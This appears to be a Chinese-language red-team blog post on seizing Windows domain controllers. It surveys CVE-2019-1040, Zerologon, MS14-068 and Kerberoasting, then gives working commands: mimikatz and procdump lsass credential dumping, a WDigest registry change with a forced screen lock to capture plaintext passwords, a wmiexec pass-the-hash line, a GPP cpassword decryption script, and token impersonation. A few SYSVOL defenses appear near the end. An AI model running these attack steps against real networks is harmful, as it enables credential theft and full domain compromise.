我们在打入内网的时候,看一眼环境发现有域,所以接着上一篇内网渗透Tips&内网环境中找域控的几种小技巧。本文梳理一下在进行域环境渗透中获取域控权限的一些常见思路与手段,众所周知在域环境中只要获取到域控服务器的权限,基本上可以获取整个内网的权限。
Preempt的研究人员发现了如何在NTLM身份验证上绕过MIC(Message Integrity Code)保护措施并修改NTLM消息流中的任何字段(包括签名)。该种绕过方式允许攻击者将已经协商签名的身份验证尝试中继到另外一台服务器,同时完全删除签名要求。所有不执行签名的服务器都容易受到攻击。这个漏洞其实就是可以绕过NTLM MIC的防护,也是NTLM_RELAY漏洞。攻击者利用该漏洞可以绕过NTLM中的MIC(Message Integrity Code)。攻击者可以修改已经协商签名的身份验证流量,然后中继到另外一台服务器,同时完全删除签名要求。通过该攻击方式可使攻击者在仅有一个普通域账号的情况下,运程控制域中任意机器(包括域控服务器)。
此漏洞在exchange_RCE未出现之前是域内大杀器,可运用于已有域账户但是exchange已修补rce漏洞情况下展开攻击。
在2019年6月12日,微软官方在6月的补丁日中发布了漏洞 CVE-2019-1040的安全补丁。
原理:内网协议NTLM之内网大杀器CVE-2019-1040漏洞 - 腾讯云开发者社区-腾讯云 (tencent.com)
复现:【漏洞复现】CVE-2019-1040内网大杀器复现 - 知乎 (zhihu.com)
2020年9月11日,安全公司Secura发布了公告,披露了Microsoft在2020年8月修补的漏洞细节(CVE-2020-1472)。该漏洞也称为Zerologon,CVSS评分为10.0,号称3秒撸域控,危害严重。攻击者在通过NetLogon(MS-NRPC)协议与AD域控建立安全通道时,可利用该漏洞将AD域控的计算机账号密码置为空,从而控制域控服务器。因为Netlogon使用的AES认证算法中的vi向量默认为0,所以导致攻击者可以绕过认证,同时其设置域控密码的远程接口也使用了该函数,导致可以将域控中保存在AD中的管理员密码设置为空。受到影响的版本:
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)
原理:ZeroLogon(CVE-2020-1472) 分析与狩猎 - 腾讯云开发者社区-腾讯云 (tencent.com)
复现:(96条消息) CVE-2020-1472复现与完整利用_Shanfenglan7的博客-CSDN博客_cve-2020-1472复现
Kerberos 域用户提权漏洞(MS14-068,CVE-2014-6324),所有 Windows 服务器都会收到该漏洞影响。包括 Windows Server 2003、Windows Server 2008、Windows Server 2008 R2、Windows Server 2012 和 Windows Server 2012 R2。
该漏洞可导致活动目录整体权限控制收到影响,允许攻击者将域内任意用户权限提升至域管理级别。如果攻击者获取了域内任何一台计算机的 shell 权限,同时知道任意域用户的用户名、SID、密码,即可获取域管理员权限。MS14068是一个能够使普通用户提权到域控权限的权限提升漏洞。攻击者可以通过构造特定的请求包来达到提升权限的目的。这是一个大漏洞,允许域内任何一个普通用户,将自己提升至域管权限。微软给出的补丁是kb3011780。在 SERVER 2000以上的域控中,只要没有打这个补丁,那么情况将是非常糟糕的。
原理:Kerberos域用户提权漏洞(MS14-068)分析与防范 - 腾讯云开发者社区-腾讯云 (tencent.com)
复现:Kerberos域用户提权漏洞(MS14-068)分析与防范 - 腾讯云开发者社区-腾讯云 (tencent.com)
Kerberoasting 是域渗透中经常使用的一项技术,是Tim Medin 在 DerbyCon 2014 上发布的一种域口令攻击方法,Tim Medin 同时发布了配套的攻击工具 kerberoast。此后,不少研究人员对 Kerberoasting 进行了改进和扩展,在 GitHub 上开发发布了大量工具,使得 Kerberoasting 逐渐发展成为域攻击的常用方法之一。
Kerberoast攻击是在TGS_REP的过程中用户将会收到由目标服务实例的NTLM hash加密生成的ST(service ticket),加密算法为RC4-HMAC,如果获得这个ST票据,我们可以尝试穷举口令,模拟加密过程,进行破解。
Kerberoasting和Kerberoast是同一种技术,叫法不一样
复现:https://zhuanlan.zhihu.com/p/475122515
原理:https://www.anquanke.com/post/id/87050
请求指定的TGS,完成之后klist就能查看相应的票据
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "mysql/12server4.redteam.club:3306"
mimikatz导出票据
kerberos::list /export
使用tgsrepcrack.py破解
python3 tgsrepcrack.py wordlist.txt mssql.kirbi
如果是域控用户注册的 可以得到域得明文密码
使用System.IdentityModel.Tokens.KerberosRequestorSecurityToken
请求TGS,在返回结果中提取出TGS,输出的TGS可选择John the Ripper或Hashcat进行破解。
在域内一台主机上以普通用户权限执行:
Kerberoast -OutputFormat Hashcat
Invoke-Kerberoast -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation
保存文件 使用hashcat对其穷举
hashcat -m 13100 hash /home/kali/Desktop/kerberoast-master/passwd.txt -o found.txt --force
当域管理员在域成员机器上登录进行工作的时候,会将明文密码保存在本地进行的lsass.exe,可以通过mimikatz来读取到本地的明文密码。
privilege::debug
sekurlsa::logonpasswords
如果主机存在杀软的时候,上传mimikatz很多时候都会被杀掉,可以通过mimikatz的方式进行绕过
先导出lsass.exe
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
保存到本地,通过mimikatz读lsass.dmp的明文
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" > 1.txt
如果目标机器是windows server 2012,通过添加注册表,在通过锁屏,让管理员重新登录及可以读取明文。
添加注册表,设置UseLogonCredential设置为1
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
利用powershell脚本进行锁屏
Function Lock-WorkStation
{
$signature = @"
[DllImport("user32.dll", SetLastError = true)]
public static extern bool LockWorkStation();
"@
$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru
$LockWorkStation::LockWorkStation() | Out-Null
}
Lock-WorkStation
管理员重新登录后就可以抓取到明文密码了。
net use \\10.10.10.137\ipc$ "QWEasd123" /user:redteam\administrator
python3 wmiexec.py -hashes 00000000000000000000000000000000:42e2656ec24331269f82160ff5962387 [email protected] "whoami"
复现:https://www.cnblogs.com/21r000/p/15675872.html
在域环境中,有个默认的共享路径
\\<DOMAIN>\SYSVOL\<DOMAIN>\
SYSVOL是活动目录存储文件服务副本的共享文件夹,里面包含有登录脚本,组策略数据等,域里的所有用户都能访问这个共享文件。在SYSVOL目录下,默认是没有groups.xml文件的,必须创建组策略脚本登录才有这个文件。在groups.xml文件中,密码是通过AES-256加密的,但是微软发布了AES的私钥
可以利用powershell解密密文:
function Get-DecryptedCpassword {
[CmdletBinding()]
Param (
[string] $Cpassword
) try {
#Append appropriate padding based on string length
$Mod = ($Cpassword.length % 4)
switch ($Mod) {
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
'2' {$Cpassword += ('=' * (4 - $Mod))}
'3' {$Cpassword += ('=' * (4 - $Mod))}
}
$Base64Decoded = [Convert]::FromBase64String($Cpassword)
#Create a new AES .NET Crypto Object
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
#Set IV to all nulls to prevent dynamic generation of IV value
$AesIV = New-Object Byte[]($AesObject.IV.Length)
$AesObject.IV = $AesIV
$AesObject.Key = $AesKey
$DecryptorObject = $AesObject.CreateDecryptor()
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
}
catch {Write-Error $Error[0]}
}
Get-DecryptedCpassword "I0vK3Yj0SeoHQDxF5skcjt3BOkMZmX6IiqRVKCTo4Z4"
针对SYSOVL的防御:
1.打补丁KB2962486
2.删除SYSVOL目录下的groups.xml
3.设置共享文件SYSVOL的权限
当有域控账户登陆至服务器时可使用令牌模拟进行渗透取得域控权限。
入侵了域管理员所登录的服务器,将进程迁移到域管理员所运行的进程,就可以获得域管理员权限。
获取域管理员列表
net group "Domain Admins" /domain
找到域管理员所运行的进程,然后将shell进程迁移到域管理员所运行的进程中后就获得了域管理员权限。